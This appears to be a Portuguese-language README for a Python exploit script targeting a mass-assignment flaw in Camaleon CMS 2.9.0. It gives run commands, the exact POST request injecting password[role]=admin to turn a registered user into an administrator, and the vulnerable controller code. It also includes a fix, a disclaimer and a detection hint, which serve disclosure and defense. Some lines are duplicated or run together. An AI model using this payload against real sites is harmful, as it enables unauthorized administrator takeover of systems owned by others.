
Este script Python explora uma vulnerabilidade crítica de atribuição em massa no Camaleon CMS versão 2.9.0, permitindo que qualquer usuário registrado eleve seus privilégios para administrador.
Este script Python explora uma vulnerabilidade crítica de atribuição em massa no Camaleon CMS versão 2.9.0, permitindo que qualquer usuário registrado eleve seus privilégios para administrador.
permit! na ação updated_ajax permite que todos os parâmetros passem sem filtragem, incluindo o parâmetro role/admin/users/[id]/updated_ajax com um payload malicioso: (No script eu usei o ID 5, pois geralmente é o atribuído automaticamente. Pode ser necessário alterar.)
password[role]=admin - Este parâmetro deveria ser filtrado, mas não é devido ao permit!password[password] e password[password_confirmation] - Atualiza a senha do usuário (Quando um usuário regular com função de cliente atualiza seu perfil, tecnicamente é user[role]=client, mas como estamos explorando a vulnerabilidade resultante da funcionalidade de alterar senha, será password[role]=admin.)pip install -r requirements.txt
python camaleon_cms_privilege_escalation.py --url http://target-cms.com --username regularuser --password userpassword
--new-password: Define uma nova senha durante a exploração (padrão é a senha atual)python camaleon_cms_privilege_escalation.py \
--url http://192.168.1.100 \
--username testuser \
--password testpass123 \
--new-password newadminpass
A vulnerabilidade existe no método updated_ajax do UsersController:
def updated_ajax
# Vulnerable code - uses permit! instead of specific parameter filtering
@user.update(params.require(:user).permit!)
# This allows ANY parameter to be mass-assigned, including role
end
POST /admin/users/[id]/updated_ajax
Content-Type: application/x-www-form-urlencoded
password[password]=newpass123&password[password_confirmation]=newpass123&password[role]=admin&_method=patch
{
"success": true,
"message": "User updated successfully"
}
Substitua o método vulnerável permit! por filtragem explícita de parâmetros:
def updated_ajax
@user.update(params.require(:user).permit(:password, :password_confirmation, :email))
# Explicitly exclude: role parameter
end
Este script é apenas para fins educacionais e de teste de segurança autorizado. Não use este exploit em sistemas que você não possui ou para os quais não tem permissão explícita para testar. O autor não é responsável por qualquer uso indevido ou dano causado por esta ferramenta.
Equipes de segurança podem detectar tentativas de exploração monitorando:
/admin/users/[id]/updated_ajax com o parâmetro password[role]